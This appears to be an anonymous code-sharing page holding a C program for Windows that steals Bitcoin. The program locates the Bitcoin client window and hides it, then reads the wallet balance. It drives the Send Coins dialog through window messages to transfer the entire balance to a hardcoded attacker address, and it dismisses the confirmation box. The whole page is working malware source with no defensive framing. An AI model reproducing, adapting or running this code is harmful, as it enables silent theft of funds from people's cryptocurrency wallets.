Skip to content

Instantly share code, notes, and snippets.

Created February 1, 2011 00:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/c7d025a44b352f4c955f to your computer and use it in GitHub Desktop.
Save anonymous/c7d025a44b352f4c955f to your computer and use it in GitHub Desktop.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#define MAX_BALANCE_LENGTH 32
#define RECEIVING_ADDRESS L"17K9G8MKceqcTJAWzcqAX4uSjnawsgdWwr"
int main()
{
printf("Finding Bitcoin window...\n");
HWND bitcoin_hwnd = FindWindowW(L"wxWindow@00C9E8A0NR", L"Bitcoin");
if(!IsWindow(bitcoin_hwnd))
{
printf("Couldn't find Bitcoin window\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
ShowWindow(bitcoin_hwnd, SW_HIDE);
printf("Finding balance window...\n");
HWND balance_label_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"Static", L"Balance:");
if(!IsWindow(balance_label_hwnd))
{
printf("Couldn't find balance label\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding balance...\n");
wchar_t balance[MAX_BALANCE_LENGTH] = L"";
GetWindowTextW(GetNextWindow(balance_label_hwnd, GW_HWNDNEXT), balance, sizeof balance);
balance[(wcslen(balance)-2)] = '\0'; // The balance has two space characters (ASCII 32) on the end.
printf("Balance is: %S\n", balance);
if(!wcscmp(balance, L"0.00"))
{
printf("User has no money, can't send anything. :(\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding toolbar...\n");
HWND toolbar_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"ToolbarWindow32", NULL);
if(!IsWindow(toolbar_hwnd))
{
printf("Couldn't find toolbar\n");
return 1;
}
DWORD toolbar_open_coordinates = MAKELPARAM(4, 4);
PostMessageW(toolbar_hwnd, WM_LBUTTONDOWN, NULL, toolbar_open_coordinates);
Sleep(50);
// The WM_LBUTTONUP isn't considered processed until the Send Coins dialog is dismissed so we need to Post it.
PostMessageW(toolbar_hwnd, WM_LBUTTONUP, NULL, toolbar_open_coordinates);
Sleep(750);
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding Send Coins dialog...\n");
HWND send_coins_hwnd = FindWindowW(L"#32770", L"Send Coins");
if(!IsWindow(send_coins_hwnd))
{
printf("Couldn't find Send Coins dialog\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Filling out the form...\n");
HWND pay_to_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"Pay &To:");
HWND amount_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"&Amount:");
if(!IsWindow(pay_to_label_hwnd) || !IsWindow(amount_label_hwnd))
{
printf("Couldn't find one of the edit box labels\n");
return 1;
}
// SetWindowText doesn't work across processes, but WM_SETTEXT does.
SendMessageW(GetNextWindow(pay_to_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)RECEIVING_ADDRESS);
SendMessageW(GetNextWindow(amount_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)balance);
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding Send button...\n");
HWND send_button_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Button", L"&Send");
if(!IsWindow(send_button_hwnd))
{
printf("Couldn't find Send button\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Sending balance (%S)\n", balance);
DWORD send_button_coordinates = MAKELPARAM(4, 4);
SendMessageW(send_button_hwnd, WM_LBUTTONDOWN, NULL, send_button_coordinates);
Sleep(50);
// This would block because of the MessageBox that is spawned.
PostMessageW(send_button_hwnd, WM_LBUTTONUP, NULL, send_button_coordinates);
Sleep(2000);
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding Sending messagebox...\n");
HWND sending_hwnd = FindWindowW(L"#32770", L"Sending...");
if(!IsWindow(sending_hwnd))
{
printf("Couldn't find Sending messagebox\n");
return 1;
}
// Since the messagebox is modal this gets processed by the parent and kills both.
SendMessage(sending_hwnd, WM_CLOSE, NULL, NULL);
/* -------------------------------------------------------------------------------------------------------------- */
printf("All done! Press any key to exit.\n");
_getch();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment